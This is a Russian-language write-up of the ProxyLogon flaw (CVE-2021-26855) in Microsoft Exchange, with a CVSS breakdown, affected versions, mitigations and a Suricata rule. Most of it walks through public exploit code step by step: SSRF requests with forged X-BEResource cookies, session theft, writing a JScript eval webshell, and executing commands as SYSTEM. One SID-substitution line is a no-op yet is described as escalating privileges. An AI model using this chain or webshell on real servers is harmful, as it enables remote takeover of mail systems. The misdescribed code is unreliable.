
Уязвимость BDU:2021-01123 (CVE-2021-26855) Microsoft Exchange Server
Уязвимость BDU:2021-01123 (CVE-2021-26855), также известная как ProxyLogon, связана с недостаточной проверкой HTTP-запросов в Microsoft Exchange Server. Она позволяет злоумышленнику выполнить SSRF-атаку (Server-Side Request Forgery), обойти аутентификацию и получить права администратора. В сочетании с CVE-2021-27065 (произвольная запись файлов) это приводит к выполнению произвольного кода на сервере.
Анализ уязвимости
Уровень опасности: 9.1 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная компрометация данных.
-
I:H (Целостность: Высокое) – Возможность полного изменения данных.
-
A:N (Доступность: Нет) – Нет влияния на доступность системы.
Интерпретация: Критическая уязвимость (9.1) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность и целостность системы. Риск максимален из-за сетевого вектора, низкой сложности эксплуатации и полного контроля над данными, но доступность системы не затрагивается.
Условия эксплуатации
-
Доступ к порту 443: Сервер должен быть доступен извне (не требует внутреннего доступа).
-
Наличие уязвимой версии Exchange: Например, Exchange Server 2016 CU19, 2019 CU8 и другие (см. список выше).
-
Знание валидного email-адреса: Эксплоиту требуется корректный email пользователя на сервере, но не нужен пароль.
-
Отсутствие патчей: Сервер не обновлён до исправленных версий.
Уязвимые версии
- Microsoft Exchange Server 2016 Cumulative Update 8
- Microsoft Exchange Server 2016 Cumulative Update 9
- Microsoft Exchange Server 2013 Cumulative Update 21
- Microsoft Exchange Server 2016 Cumulative Update 10
- Microsoft Exchange Server 2016 Cumulative Update 11
- Microsoft Exchange Server 2019
- Microsoft Exchange Server 2013 Cumulative Update 22
- Microsoft Exchange Server 2016 Cumulative Update 12
- Microsoft Exchange Server 2019 Cumulative Update 1
- Microsoft Exchange Server 2016 Cumulative Update 19
- Microsoft Exchange Server 2013 Cumulative Update 23
- Microsoft Exchange Server 2016 Cumulative Update 13
- Microsoft Exchange Server 2019 Cumulative Update 2
- Microsoft Exchange Server 2016 Cumulative Update 14
- Microsoft Exchange Server 2019 Cumulative Update 3
- Microsoft Exchange Server 2016 Cumulative Update 16
- Microsoft Exchange Server 2016 Cumulative Update 17
- Microsoft Exchange Server 2019 Cumulative Update 5
- Microsoft Exchange Server 2019 Cumulative Update 6
- Microsoft Exchange Server 2016 Cumulative Update 18
- Microsoft Exchange Server 2019 Cumulative Update 7
- Microsoft Exchange Server 2019 Cumulative Update 8
- Microsoft Exchange Server 2016 Cumulative Update 15
- Microsoft Exchange Server 2019 Cumulative Update 4
Технический анализ эксплоита
Шаг 1: Обнаружение сервера и FQDN
Общедоступный эксплоит к BDU:2021-01123 (CVE-2021-26855) отправляет GET-запрос с поддельным заголовком X-BEResource
, чтобы получить внутреннее имя сервера (FQDN) из заголовка X-FEServer
:
ReqHAX = requests.get( f"https://{target}/ecp/{random_name}", headers={"Cookie": "X-BEResource=localhost~1942062522"}, verify=False ) FQDN = ReqHAX.headers["X-FEServer"]
Этот шаг использует SSRF для доступа к внутренним ресурсам Exchange.
Шаг 2: Получение LegacyDN через Autodiscover
Эксплоит отправляет XML-запрос к Autodiscover, указывая email-адрес жертвы:
autoDiscoverBody = """ <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas...</AcceptableResponseSchema> </Request> </Autodiscover> """ % email ReqHAX = requests.post( f"https://{target}/ecp/{random_name}", headers={"Cookie": f"X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;"}, data=autoDiscoverBody, verify=False ) legacyDn = str(ReqHAX.content).split("<LegacyDN>")[1].split("</LegacyDN>")[0]
Ответ содержит LegacyDN
— уникальный идентификатор почтового ящика, необходимый для дальнейшей атаки.
Шаг 3: Получение SID пользователя
Эксплоит формирует MAPI-запрос для получения SID (Security Identifier) пользователя:
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ReqHAX = requests.post( f"https://{target}/ecp/{random_name}", headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/mapi/emsmdb?...;"}, data=mapi_body, verify=False ) sid = str(ReqHAX.content).split("with SID ")[1].split(" ")[0].replace("-500", "-500") # Подмена SID на административный
Здесь SID обычного пользователя заменяется на -500
(SID администратора), что позволяет повысить привилегии.
Шаг 4: ProxyLogon и получение сессии
Эксплоит отправляет XML-запрос для аутентификации через уязвимость ProxyLogon:
proxyLogon_request = f""" <r at="Negotiate" ln="john"><s>{sid}</s>...</r> """ ReqHAX = requests.post( f"https://{target}/ecp/{random_name}", headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/ecp/proxyLogon.ecp?a=~1942062522;"}, data=proxyLogon_request, verify=False ) msExchEcpCanary = ReqHAX.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
В ответ сервер возвращает куки msExchEcpCanary
и ASP.NET_SessionId
, подтверждающие аутентификацию.
Шаг 5: Запись webshell на сервер
Эксплоит изменяет параметры OABVirtualDirectory, чтобы записать файл exchmshell.aspx
:
oab_json = { "identity": {"RawIdentity": oabId}, "properties": {"Parameters": {"ExternalUrl": "http://ffff/#%s" % shell_content}} } requests.post( f"https://{target}/ecp/{random_name}", headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?...;"}, json=oab_json, verify=False )
Содержимое webshell:
<script language="JScript" runat="server"> function Page_Load(){ eval(Request["code"],"unsafe"); } </script>
Этот файл позволяет выполнять произвольные команды через параметр code
.
Шаг 6: Выполнение команды
Эксплоит отправляет POST-запрос к webshell для выполнения команды:
shell_url = f"https://{target}/owa/auth/exchmshell.aspx" data = requests.post( shell_url, data={"code": 'Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll())'}, verify=False ) print("Результат команды:", data.text)
Пример вывода: nt authority\system
.
Защита от эксплуатации уязвимости
-
Установка обновлений: Применить патчи Microsoft.
-
Ограничение доступа к ECP: Блокировка порта 443 для внешних сетей, если это возможно.
-
Мониторинг аномалий:
-
Подозрительные запросы к
/ecp/*
с кукамиX-BEResource
. -
Попытки записи файлов в
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
.
-
-
Использование WAF: Правила для блокировки SSRF-запросов и аномальных заголовков.
Пример сигнатуры для Suricata
alert http any any -> $EXCHANGE_SERVERS 443 (msg:"CVE-2021-26855: ProxyLogon Exploit"; flow:to_server; http.header; content:"X-BEResource"; content:"/autodiscover/autodiscover.xml"; classtype:web-application-attack; sid:1000001;)
